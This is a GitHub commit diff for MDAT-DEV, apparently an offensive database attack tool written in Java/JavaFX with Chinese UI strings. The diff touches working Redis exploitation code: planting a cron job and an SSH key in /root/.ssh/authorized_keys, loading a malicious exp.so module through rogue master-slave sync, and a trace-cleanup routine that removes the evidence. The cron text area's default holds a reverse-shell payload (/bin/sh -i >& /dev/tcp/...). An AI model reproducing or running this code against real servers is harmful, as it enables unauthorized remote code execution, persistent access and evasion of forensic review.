Skip to content

Commit 162a8f7

Browse files
committed
修正 Redis 输出逻辑,优化内部代码
1 parent e71f915 commit 162a8f7

File tree

4 files changed

+55
-31
lines changed

4 files changed

+55
-31
lines changed

MDAT-DEV/src/main/java/Controller/RedisController.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -98,11 +98,11 @@ public void initialize(URL location, ResourceBundle resources) {
9898
try {
9999
this.redisDao = new RedisDao(this.dataObj.getString("ipaddress"), this.dataObj.getString("port"), this.dataObj.getString("password"), this.dataObj.getString("timeout"));
100100
this.redisDao.getConnection();
101+
this.redisDao.getInfo();
101102
Platform.runLater(() -> {
102103
redisLogTextFArea.appendText(Utils.log("连接成功!"));
103104
});
104105
// 获取信息输出
105-
this.redisDao.getInfo();
106106
} catch (Exception e) {
107107
Platform.runLater(() -> {
108108
redisLogTextFArea.appendText(Utils.log("连接失败!"));
@@ -205,6 +205,7 @@ public void initComboBox() {
205205
);
206206
// 初始化下拉框
207207
redisEncodeCombox.setPromptText("UTF-8");
208+
redisEncodeCombox.setValue("UTF-8");
208209
redisEncodeCombox.setItems(postgreSqlTypeCodeoptions);
209210
}
210211
}

MDAT-DEV/src/main/java/Dao/RedisDao.java

Lines changed: 35 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -6,14 +6,14 @@
66
import Util.Utils;
77
import javafx.application.Platform;
88
import redis.clients.jedis.Jedis;
9-
import org.apache.commons.lang.StringUtils;
109
import redis.clients.jedis.commands.ProtocolCommand;
1110
import redis.clients.jedis.util.SafeEncoder;
1211

1312
import java.sql.SQLException;
1413
import java.util.Arrays;
1514
import java.util.List;
1615

16+
1717
public class RedisDao {
1818
/**
1919
* 用此方法获取 RedisController 的日志框
@@ -28,6 +28,9 @@ public class RedisDao {
2828
private int port;
2929
private String password;
3030
private int timeout;
31+
private String OS;
32+
private String redisVersion;
33+
private String arch;
3134

3235
public RedisDao(String ip, String port, String password, String timeout) {
3336
this.ip = ip;
@@ -72,14 +75,20 @@ public void closeConnection() throws Exception {
7275
public void getInfo() throws Exception{
7376
String info = CONN.info();
7477
dir = CONN.configGet("dir");
78+
OS = Utils.regularMatch("os:(.*)",info);
79+
redisVersion = Utils.regularMatch("redis_version:(.*)",info);
80+
arch = Utils.regularMatch("arch_bits:(.*)",info);
7581

7682
List<String> dbfilename = CONN.configGet("dbfilename");
77-
String orginDir = StringUtils.join(dir, ": ");
78-
String orginDbfilename = StringUtils.join(dbfilename, ": ");
83+
//String orginDir = StringUtils.join(dir, ": ");
84+
//String orginDbfilename = StringUtils.join(dbfilename, ": ");
7985
Platform.runLater(() -> {
80-
redisController.redisLogTextFArea.appendText(Utils.log(orginDir));
81-
redisController.redisLogTextFArea.appendText(Utils.log(orginDbfilename));
82-
redisController.redisLogTextFArea.appendText(Utils.log("4.x,5.x 可使用主从备份请注意查看版本信息"));
86+
//redisController.redisLogTextFArea.appendText(Utils.log(orginDir));
87+
//redisController.redisLogTextFArea.appendText(Utils.log(orginDbfilename));
88+
redisController.redisLogTextFArea.appendText(Utils.log("当前系统: " + OS));
89+
redisController.redisLogTextFArea.appendText(Utils.log("当前系统位数: " + arch));
90+
redisController.redisLogTextFArea.appendText(Utils.log("当前 Redis 版本: " + redisVersion));
91+
redisController.redisLogTextFArea.appendText(Utils.log("4.x,5.x 可使用主从同步请注意查看版本信息"));
8392
redisController.redisOutputTextFArea.setText(info);
8493
});
8594
}
@@ -116,18 +125,16 @@ public void crontab(String cronText) {
116125
CONN.configSet("dbfilename", "root");
117126
CONN.save();
118127
Platform.runLater(() -> {
119-
redisController.redisLogTextFArea.appendText(Utils.log(cronText + "\n" + "write cron success: " + dir + "root"));
128+
redisController.redisLogTextFArea.appendText(Utils.log(dir + "root 写入 CRON 计划任务成功!" ));
120129
});
130+
break;
121131
} catch (Exception e) {
122132
Platform.runLater(() -> {
133+
redisController.redisLogTextFArea.appendText(Utils.log("crontab unknown error"));
123134
redisController.redisLogTextFArea.appendText(Utils.log(e.getMessage()));
124135
});
125136
}
126137
}
127-
Platform.runLater(() -> {
128-
redisController.redisLogTextFArea.appendText(Utils.log("crontab unknown error"));
129-
});
130-
131138
}
132139

133140
public void sshkey(String sshRsa) {
@@ -136,14 +143,16 @@ public void sshkey(String sshRsa) {
136143
CONN.configSet("dir", "/root/.ssh/");
137144
CONN.configSet("dbfilename", "authorized_keys");
138145
CONN.save();
146+
Platform.runLater(() -> {
147+
redisController.redisLogTextFArea.appendText(Utils.log("写入 SSH 公钥成功!"));
148+
});
139149
} catch (Exception e) {
140150
Platform.runLater(() -> {
151+
redisController.redisLogTextFArea.appendText(Utils.log("写入 SSH 公钥失败!"));
141152
redisController.redisLogTextFArea.appendText(Utils.log(e.getMessage()));
142153
});
143154
}
144-
Platform.runLater(() -> {
145-
redisController.redisLogTextFArea.appendText(Utils.log("write ssh rsa success: " + sshRsa));
146-
});
155+
147156
}
148157

149158
public void rogue(String vpsip, String vpsport, int timeout) throws InterruptedException {
@@ -156,7 +165,7 @@ public void rogue(String vpsip, String vpsport, int timeout) throws InterruptedE
156165
slaveReadOnlyFlag = slaveReadOnlyList.get(1);
157166

158167
Platform.runLater(() -> {
159-
redisController.redisLogTextFArea.appendText(Utils.log("slave-read-only -> no ..."));
168+
redisController.redisLogTextFArea.appendText(Utils.log("成功设置 slave-read-only no"));
160169
});
161170
CONN.configSet("slave-read-only", "no");
162171

@@ -166,6 +175,9 @@ public void rogue(String vpsip, String vpsport, int timeout) throws InterruptedE
166175
List<String> dir = CONN.configGet("dir");
167176
String evalpath = dir.get(1) + "/exp.so";
168177

178+
Platform.runLater(() -> {
179+
redisController.redisLogTextFArea.appendText(Utils.log("正在加载模块请稍等..."));
180+
});
169181
// 加载恶意so
170182
Thread.sleep(timeout);
171183
CONN.moduleLoad(evalpath);
@@ -174,7 +186,7 @@ public void rogue(String vpsip, String vpsport, int timeout) throws InterruptedE
174186
//关闭主从
175187
CONN.slaveofNoOne();
176188
Platform.runLater(() -> {
177-
redisController.redisLogTextFArea.appendText(Utils.log("success write exp.so ..."));
189+
redisController.redisLogTextFArea.appendText(Utils.log("模块加载成功!"));
178190
});
179191

180192
}
@@ -215,33 +227,33 @@ public String eval(String command, String code) {
215227
public void clean() {
216228
CONN.configSet("dir", dir.get(1));
217229
Platform.runLater(() -> {
218-
redisController.redisLogTextFArea.appendText(Utils.log("reset dir success"));
230+
redisController.redisLogTextFArea.appendText(Utils.log("重设 Dir 参数成功!"));
219231
});
220232

221233
CONN.configSet("slave-read-only", slaveReadOnlyFlag);
222234
Platform.runLater(() -> {
223-
redisController.redisLogTextFArea.appendText(Utils.log("reset slave-read-only success"));
235+
redisController.redisLogTextFArea.appendText(Utils.log("重设 slave-read-only 成功!"));
224236
});
225237
CONN.configSet("dbfilename", "dump.rdb");
226238
Platform.runLater(() -> {
227-
redisController.redisLogTextFArea.appendText(Utils.log("reset dbfilename success"));
239+
redisController.redisLogTextFArea.appendText(Utils.log("重设 dbfilename 参数成功!"));
228240
});
229241
CONN.slaveofNoOne();
230242
Platform.runLater(() -> {
231-
redisController.redisLogTextFArea.appendText(Utils.log("reset slaveof success"));
243+
redisController.redisLogTextFArea.appendText(Utils.log("重设 slaveof 成功"));
232244
});
233245
eval("rm -f " + dir.get(1) + "/exp.so", "UTF-8");
234246
Platform.runLater(() -> {
235-
redisController.redisLogTextFArea.appendText(Utils.log("remove exp file success"));
247+
redisController.redisLogTextFArea.appendText(Utils.log("删除 exp 提权模块成功!"));
236248
});
237249
CONN.moduleUnload("system");
238250
Platform.runLater(() -> {
239-
redisController.redisLogTextFArea.appendText(Utils.log("unload system.exec success"));
251+
redisController.redisLogTextFArea.appendText(Utils.log("卸载函数成功过!"));
240252
});
241253
CONN.del("xxssh");
242254
CONN.del("xxcron");
243255
Platform.runLater(() -> {
244-
redisController.redisLogTextFArea.appendText(Utils.log("delete exp key success"));
256+
redisController.redisLogTextFArea.appendText(Utils.log("删除 Key 成功!"));
245257
});
246258
}
247259

MDAT-DEV/src/main/java/Util/Utils.java

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,8 @@
1414
import java.text.SimpleDateFormat;
1515
import java.util.*;
1616
import java.sql.DriverManager;
17+
import java.util.regex.Matcher;
18+
import java.util.regex.Pattern;
1719

1820
/**
1921
* 工具类 - Exception 全部往上层抛
@@ -660,4 +662,13 @@ public static void openBrowse(String url) throws Exception {
660662
}
661663
}
662664
}
665+
666+
public static String regularMatch(String regex, String text){
667+
Pattern pattern = Pattern.compile(regex, Pattern.MULTILINE);
668+
Matcher matcher = pattern.matcher(text);
669+
if(matcher.find()){
670+
return matcher.group(1);
671+
}
672+
return "Error!";
673+
}
663674
}

MDAT-DEV/src/main/resources/redisViewTab.fxml

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -12,13 +12,12 @@
1212
<?import javafx.scene.layout.HBox?>
1313
<?import javafx.scene.layout.VBox?>
1414

15-
<VBox prefHeight="771.0" prefWidth="898.0" xmlns="http://javafx.com/javafx/16" xmlns:fx="http://javafx.com/fxml/1" fx:controller="Controller.RedisController">
15+
<VBox prefHeight="771.0" prefWidth="898.0" xmlns="http://javafx.com/javafx/18" xmlns:fx="http://javafx.com/fxml/1" fx:controller="Controller.RedisController">
1616
<children>
1717
<TitledPane animated="false" collapsible="false" prefWidth="790.0" text="功能选择">
1818
<content>
1919
<HBox prefHeight="41.0" prefWidth="788.0" spacing="10.0">
2020
<children>
21-
<Button fx:id="redisSlavebtn" mnemonicParsing="false" onAction="#redisSlave" text="主从同步" />
2221
<Button fx:id="redisClearBtn" layoutX="276.0" layoutY="22.0" mnemonicParsing="false" onAction="#redisClear" text="痕迹清理" />
2322
</children>
2423
</HBox>
@@ -39,19 +38,20 @@
3938
<Insets top="5.0" />
4039
</HBox.margin>
4140
</Label>
42-
<TextField fx:id="redisVPSAddressTextField" maxWidth="Infinity" prefHeight="27.0" prefWidth="202.0" HBox.hgrow="ALWAYS" />
41+
<TextField fx:id="redisVPSAddressTextField" maxWidth="Infinity" prefHeight="27.0" prefWidth="183.0" HBox.hgrow="ALWAYS" />
4342
<Label text="端口:">
4443
<HBox.margin>
4544
<Insets top="5.0" />
4645
</HBox.margin>
4746
</Label>
48-
<TextField fx:id="redisVPSPortTextField" />
47+
<TextField fx:id="redisVPSPortTextField" prefHeight="26.0" prefWidth="99.0" />
4948
<Label text="延时(s):">
5049
<HBox.margin>
5150
<Insets top="5.0" />
5251
</HBox.margin>
5352
</Label>
54-
<TextField fx:id="redisVPSTimeOutTextField" />
53+
<TextField fx:id="redisVPSTimeOutTextField" prefHeight="26.0" prefWidth="105.0" />
54+
<Button fx:id="redisSlavebtn" mnemonicParsing="false" onAction="#redisSlave" text="主从同步" />
5555
</children>
5656
<padding>
5757
<Insets left="5.0" right="5.0" top="8.0" />
@@ -83,15 +83,15 @@
8383
</VBox>
8484
</content>
8585
</Tab>
86-
<Tab text="扩展功能">
86+
<Tab text="Linux">
8787
<content>
8888
<TabPane prefHeight="200.0" prefWidth="200.0" tabClosingPolicy="UNAVAILABLE">
8989
<tabs>
9090
<Tab text="计划任务">
9191
<content>
9292
<VBox prefHeight="200.0" prefWidth="100.0">
9393
<children>
94-
<TextArea fx:id="redisCronTaskInput" prefHeight="345.0" prefWidth="888.0" text="bash -i &gt;&amp; /dev/tcp/192.168.146.129/2333 0&gt;&amp;1">
94+
<TextArea fx:id="redisCronTaskInput" prefHeight="345.0" prefWidth="888.0" text="* * * * * ? /bin/sh -i &gt;&amp; /dev/tcp/10.211.55.2/9999 0&gt;&amp;1">
9595
<VBox.margin>
9696
<Insets bottom="5.0" left="5.0" right="5.0" top="5.0" />
9797
</VBox.margin>

0 commit comments

Comments
 (0)